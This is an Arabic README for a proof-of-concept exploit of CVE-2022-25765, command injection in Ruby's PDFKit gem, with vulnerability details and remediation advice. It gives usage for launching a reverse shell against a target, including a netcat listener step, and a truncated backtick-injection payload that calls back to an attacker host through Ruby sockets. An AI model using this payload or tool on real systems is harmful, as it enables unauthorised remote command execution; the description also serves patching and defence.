استغلال CVE-2022-25765
استغلال PoC صغير لـ CVE-2022-25765، PDFkit-CMD-Injection
الاستخدام
-
ابدأ مستمع netcat على جهاز الهجوم:
-
قم بتشغيل الاستغلال:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
مثال:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
المعلمات:
-t, --target: عنوان URL الهدف الذي يشغل PDFKit الثغرة
-l, --lhost: عنوان IP الخاص بك لاتصال الصدفة العكسية
-p, --lport: المنفذ الخاص بك لاتصال الصدفة العكسية (يجب أن يتطابق مع مستمع netcat الخاص بك)
معلومات الثغرة
معرف CVE: CVE-2022-25765
درجة CVSS v3.1: 9.8 (حرجة)
درجة EPSS: 71.381% (المئين 99)
CWE: CWE-77 - معالجة غير صحيحة للعناصر الخاصة المستخدمة في أمر
الإصدارات المتأثرة
- المتأثرة: PDFKit 0.0.0 - 0.8.6
- المصححة: PDFKit 0.8.7.2+
الوصف
PDFKit هو جوهرة Ruby تقوم بتحويل HTML إلى PDF باستخدام أداة سطر الأوامر wkhtmltopdf. توجد الثغرة في كيفية تعامل PDFKit مع معاملات URL قبل تمريرها إلى أوامر الصدفة النظامية لتوليد PDF.
التفاصيل الفنية
توجد الثغرة في lib/pdfkit/source.rb حيث يتم تنفيذ تنقية URL بشكل غير صحيح:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
المشكلة:
- يستخدم PDFKit منطقًا معيبًا لتحديد ما إذا كان URL بحاجة إلى ترميز
- يمكن للرموز الفوقية للصدفة (الفتة، الفاصلة المنقوطة، الأنابيب، إلخ) تجاوز هذا الفحص
- يتم تمرير URLs غير المنقاة مباشرة إلى أوامر الصدفة التي تستدعي wkhtmltopdf
- يمكن للمهاجمين حقن أوامر عشوائية يتم تنفيذها على الخادم
متجه الهجوم:
- التعقيد: منخفض
- الصلاحيات المطلوبة: لا شيء
- تفاعل المستخدم: لا شيء
- الوصول للشبكة: مطلوب
كيف يعمل هذا الاستغلال
يستغل هذا الـPoC الثغرة عن طريق:
- حقن URL ضار يحتوي على استبدال أوامر باستخدام الفتة
- الحمولة:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- يفشل PDFKit في تنقية الفتة في معامل URL
- عند معالجة wkhtmltopdf للـURL، تقوم الصدفة بتنفيذ الصدفة العكسية Ruby
- يتصل النظام الهدف مرة أخرى بمستمع المهاجم
التأثير
- السرية: عالية - وصول كامل للنظام
- النزاهة: عالية - القدرة على تعديل أي ملفات
- التوفر: عالي - احتمالية تعطيل النظام
المتطلبات الأساسية للاستغلال الناجح
على النظام الهدف:
- إصدار PDFKit ضعيف (< 0.8.7.2)
- Ruby مثبتة (مطلوبة لحمولة الصدفة العكسية)
- التطبيق يقبل URLs يتحكم بها المستخدم مرسلة إلى PDFKit
- عدم وجود تصفية للحركة الصادرة تمنع الاتصالات الخارجية
المعالجة
- تحديث PDFKit إلى الإصدار 0.8.7.2 أو أحدث
- التحقق من المدخلات: تنفيذ قائمة مسموحة صارمة لمدخلات URL
- العزل (Sandboxing): تشغيل عمليات PDFKit في حاويات معزولة بأقل صلاحيات
- تقسيم الشبكة: تقييد الاتصالات الصادرة من خدمات توليد PDF
- قواعد WAF: نشر قواعد لكشف الرموز الفوقية للصدفة في معاملات URL
المراجع